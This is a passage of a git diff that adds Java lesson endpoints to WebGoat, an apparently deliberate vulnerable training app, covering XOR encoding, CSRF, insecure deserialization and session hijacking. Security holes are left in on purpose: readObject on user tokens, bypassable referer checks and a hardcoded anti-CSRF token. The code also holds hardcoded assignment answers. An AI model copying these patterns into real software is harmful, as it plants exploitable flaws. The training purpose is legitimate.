and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.cryptography; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"crypto-encoding-xor.hints.1"}) +public class XOREncodingAssignment extends AssignmentEndpoint { + + @PostMapping("/crypto/encoding/xor") + @ResponseBody + public AttackResult completed(@RequestParam String answer_pwd1) { + if (answer_pwd1 != null && answer_pwd1.equals("databasepassword")) { + return success(this).feedback("crypto-encoding-xor.success").build(); + } + return failed(this).feedback("crypto-encoding-xor.empty").build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java new file mode 100644 index 000000000..73fa55bda --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java @@ -0,0 +1,41 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** Created by jason on 9/29/17. */ +@Component +public class CSRF extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A10; + } + + @Override + public String getTitle() { + return "csrf.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java new file mode 100644 index 000000000..e4f52eb09 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java @@ -0,0 +1,56 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 9/29/17. */ +@RestController +@AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"}) +public class CSRFConfirmFlag1 extends AssignmentEndpoint { + + @Autowired UserSessionData userSessionData; + + @PostMapping( + path = "/csrf/confirm-flag-1", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(String confirmFlagVal) { + Object userSessionDataStr = userSessionData.getValue("csrf-get-success"); + if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) { + return success(this) + .feedback("csrf-get-null-referer.success") + .output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")) + .build(); + } + + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java new file mode 100644 index 000000000..a5387efd0 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java @@ -0,0 +1,121 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import com.fasterxml.jackson.databind.DeserializationFeature; +import com.fasterxml.jackson.databind.ObjectMapper; +import java.io.IOException; +import java.util.Map; +import java.util.UUID; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 11/17/17. + */ +@RestController +@AssignmentHints({"csrf-feedback-hint1", "csrf-feedback-hint2", "csrf-feedback-hint3"}) +public class CSRFFeedback extends AssignmentEndpoint { + + @Autowired private UserSessionData userSessionData; + @Autowired private ObjectMapper objectMapper; + + @PostMapping( + value = "/csrf/feedback/message", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(HttpServletRequest request, @RequestBody String feedback) { + try { + objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES); + objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES); + objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS); + objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY); + objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES); + objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS); + objectMapper.readValue(feedback.getBytes(), Map.class); + } catch (IOException e) { + return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build(); + } + boolean correctCSRF = + requestContainsWebGoatCookie(request.getCookies()) + && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE); + correctCSRF &= hostOrRefererDifferentHost(request); + if (correctCSRF) { + String flag = UUID.randomUUID().toString(); + userSessionData.setValue("csrf-feedback", flag); + return success(this).feedback("csrf-feedback-success").feedbackArgs(flag).build(); + } + return failed(this).build(); + } + + @PostMapping(path = "/csrf/feedback", produces = "application/json") + @ResponseBody + public AttackResult flag(@RequestParam("confirmFlagVal") String flag) { + if (flag.equals(userSessionData.getValue("csrf-feedback"))) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + private boolean hostOrRefererDifferentHost(HttpServletRequest request) { + String referer = request.getHeader("Referer"); + String host = request.getHeader("Host"); + if (referer != null) { + return !referer.contains(host); + } else { + return true; + } + } + + private boolean requestContainsWebGoatCookie(Cookie[] cookies) { + if (cookies != null) { + for (Cookie c : cookies) { + if (c.getName().equals("JSESSIONID")) { + return true; + } + } + } + return false; + } + + /** + * Solution

+ */ +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java new file mode 100644 index 000000000..e2cbc90c7 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import java.util.HashMap; +import java.util.Map; +import java.util.Random; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.i18n.PluginMessages; +import org.owasp.webgoat.container.session.UserSessionData; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestMethod; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** Created by jason on 9/30/17. */ +@RestController +public class CSRFGetFlag { + + @Autowired UserSessionData userSessionData; + @Autowired private PluginMessages pluginMessages; + + @RequestMapping( + path = "/csrf/basic-get-flag", + produces = {"application/json"}, + method = RequestMethod.POST) + @ResponseBody + public Map invoke(HttpServletRequest req) { + + Map response = new HashMap<>(); + + String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); + String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); + String[] refererArr = referer.split("/"); + + if (referer.equals("NULL")) { + if ("true".equals(req.getParameter("csrf"))) { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } else { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } + } else if (refererArr[2].equals(host)) { + response.put("success", false); + response.put("message", "Appears the request came from the original host"); + response.put("flag", null); + } else { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } + + return response; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java new file mode 100644 index 000000000..08d226245 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java @@ -0,0 +1,68 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.users.UserTracker; +import org.owasp.webgoat.container.users.UserTrackerRepository; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 11/17/17. + */ +@RestController +@AssignmentHints({"csrf-login-hint1", "csrf-login-hint2", "csrf-login-hint3"}) +public class CSRFLogin extends AssignmentEndpoint { + + private final UserTrackerRepository userTrackerRepository; + + public CSRFLogin(UserTrackerRepository userTrackerRepository) { + this.userTrackerRepository = userTrackerRepository; + } + + @PostMapping( + path = "/csrf/login", + produces = {"application/json"}) + @ResponseBody + public AttackResult completed(HttpServletRequest request) { + String userName = request.getUserPrincipal().getName(); + if (userName.startsWith("csrf")) { + markAssignmentSolvedWithRealUser(userName.substring("csrf-".length())); + return success(this).feedback("csrf-login-success").build(); + } + return failed(this).feedback("csrf-login-failed").feedbackArgs(userName).build(); + } + + private void markAssignmentSolvedWithRealUser(String username) { + UserTracker userTracker = userTrackerRepository.findByUser(username); + userTracker.assignmentSolved( + getWebSession().getCurrentLesson(), this.getClass().getSimpleName()); + userTrackerRepository.save(userTracker); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java b/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java new file mode 100644 index 000000000..c11d43c5e --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/ForgedReviews.java @@ -0,0 +1,118 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import static org.springframework.http.MediaType.ALL_VALUE; + +import com.google.common.collect.Lists; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({"csrf-review-hint1", "csrf-review-hint2", "csrf-review-hint3"}) +public class ForgedReviews extends AssignmentEndpoint { + + @Autowired private WebSession webSession; + private static DateTimeFormatter fmt = DateTimeFormatter.ofPattern("yyyy-MM-dd, HH:mm:ss"); + + private static final Map> userReviews = new HashMap<>(); + private static final List REVIEWS = new ArrayList<>(); + private static final String weakAntiCSRF = "2aa14227b9a13d0bede0388a7fba9aa9"; + + static { + REVIEWS.add( + new Review("secUriTy", LocalDateTime.now().format(fmt), "This is like swiss cheese", 0)); + REVIEWS.add(new Review("webgoat", LocalDateTime.now().format(fmt), "It works, sorta", 2)); + REVIEWS.add(new Review("guest", LocalDateTime.now().format(fmt), "Best, App, Ever", 5)); + REVIEWS.add( + new Review( + "guest", + LocalDateTime.now().format(fmt), + "This app is so insecure, I didn't even post this review, can you pull that off too?", + 1)); + } + + @GetMapping( + path = "/csrf/review", + produces = MediaType.APPLICATION_JSON_VALUE, + consumes = ALL_VALUE) + @ResponseBody + public Collection retrieveReviews() { + Collection allReviews = Lists.newArrayList(); + Collection newReviews = userReviews.get(webSession.getUserName()); + if (newReviews != null) { + allReviews.addAll(newReviews); + } + + allReviews.addAll(REVIEWS); + + return allReviews; + } + + @PostMapping("/csrf/review") + @ResponseBody + public AttackResult createNewReview( + String reviewText, Integer stars, String validateReq, HttpServletRequest request) { + final String host = (request.getHeader("host") == null) ? "NULL" : request.getHeader("host"); + final String referer = + (request.getHeader("referer") == null) ? "NULL" : request.getHeader("referer"); + final String[] refererArr = referer.split("/"); + + Review review = new Review(); + review.setText(reviewText); + review.setDateTime(LocalDateTime.now().format(fmt)); + review.setUser(webSession.getUserName()); + review.setStars(stars); + var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList<>()); + reviews.add(review); + userReviews.put(webSession.getUserName(), reviews); + // short-circuit + if (validateReq == null || !validateReq.equals(weakAntiCSRF)) { + return failed(this).feedback("csrf-you-forgot-something").build(); + } + // we have the spoofed files + if (referer != "NULL" && refererArr[2].equals(host)) { + return failed(this).feedback("csrf-same-host").build(); + } else { + return success(this) + .feedback("csrf-review.success") + .build(); // feedback("xss-stored-comment-failure") + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/csrf/Review.java b/src/main/java/org/owasp/webgoat/lessons/csrf/Review.java new file mode 100644 index 000000000..0cb2a5ce1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/csrf/Review.java @@ -0,0 +1,45 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.csrf; + +import javax.xml.bind.annotation.XmlRootElement; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.NoArgsConstructor; +import lombok.Setter; + +/** + * @author nbaars + * @since 4/8/17. + */ +@Getter +@Setter +@AllArgsConstructor +@NoArgsConstructor +@XmlRootElement +public class Review { + private String user; + private String dateTime; + private String text; + private Integer stars; +} diff --git a/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java new file mode 100644 index 000000000..39083406a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserialization.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.deserialization; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class InsecureDeserialization extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A8; + } + + @Override + public String getTitle() { + return "insecure-deserialization.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java new file mode 100644 index 000000000..d44823fdc --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/deserialization/InsecureDeserializationTask.java @@ -0,0 +1,85 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.deserialization; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InvalidClassException; +import java.io.ObjectInputStream; +import java.util.Base64; +import org.dummy.insecure.framework.VulnerableTaskHolder; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints({ + "insecure-deserialization.hints.1", + "insecure-deserialization.hints.2", + "insecure-deserialization.hints.3" +}) +public class InsecureDeserializationTask extends AssignmentEndpoint { + + @PostMapping("/InsecureDeserialization/task") + @ResponseBody + public AttackResult completed(@RequestParam String token) throws IOException { + String b64token; + long before; + long after; + int delay; + + b64token = token.replace('-', '+').replace('_', '/'); + + try (ObjectInputStream ois = + new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) { + before = System.currentTimeMillis(); + Object o = ois.readObject(); + if (!(o instanceof VulnerableTaskHolder)) { + if (o instanceof String) { + return failed(this).feedback("insecure-deserialization.stringobject").build(); + } + return failed(this).feedback("insecure-deserialization.wrongobject").build(); + } + after = System.currentTimeMillis(); + } catch (InvalidClassException e) { + return failed(this).feedback("insecure-deserialization.invalidversion").build(); + } catch (IllegalArgumentException e) { + return failed(this).feedback("insecure-deserialization.expired").build(); + } catch (Exception e) { + return failed(this).feedback("insecure-deserialization.invalidversion").build(); + } + + delay = (int) (after - before); + if (delay > 7000) { + return failed(this).build(); + } + if (delay < 3000) { + return failed(this).build(); + } + return success(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java b/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java new file mode 100644 index 000000000..a8b55ab40 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/deserialization/SerializationHelper.java @@ -0,0 +1,51 @@ +package org.owasp.webgoat.lessons.deserialization; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.util.Base64; + +public class SerializationHelper { + + private static final char[] hexArray = "0123456789ABCDEF".toCharArray(); + + public static Object fromString(String s) throws IOException, ClassNotFoundException { + byte[] data = Base64.getDecoder().decode(s); + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)); + Object o = ois.readObject(); + ois.close(); + return o; + } + + public static String toString(Serializable o) throws IOException { + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(baos); + oos.writeObject(o); + oos.close(); + return Base64.getEncoder().encodeToString(baos.toByteArray()); + } + + public static String show() throws IOException { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + dos.writeLong(-8699352886133051976L); + dos.close(); + byte[] longBytes = baos.toByteArray(); + return bytesToHex(longBytes); + } + + public static String bytesToHex(byte[] bytes) { + char[] hexChars = new char[bytes.length * 2]; + for (int j = 0; j < bytes.length; j++) { + int v = bytes[j] & 0xFF; + hexChars[j * 2] = hexArray[v >>> 4]; + hexChars[j * 2 + 1] = hexArray[v & 0x0F]; + } + return new String(hexChars); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java new file mode 100644 index 000000000..c43ece76b --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSession.java @@ -0,0 +1,48 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@Component +public class HijackSession extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.A1; + } + + @Override + public String getTitle() { + return "hijacksession.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java new file mode 100644 index 000000000..00416b964 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/hijacksession/HijackSessionAssignment.java @@ -0,0 +1,91 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.hijacksession; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.hijacksession.cas.Authentication; +import org.owasp.webgoat.lessons.hijacksession.cas.HijackSessionAuthenticationProvider; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/*** + * + * @author Angel Olle Blazquez + * + */ + +@RestController +@AssignmentHints({ + "hijacksession.hints.1", + "hijacksession.hints.2", + "hijacksession.hints.3", + "hijacksession.hints.4", + "hijacksession.hints.5" +}) +public class HijackSessionAssignment extends AssignmentEndpoint { + + private static final String COOKIE_NAME = "hijack_cookie"; + + @Autowired 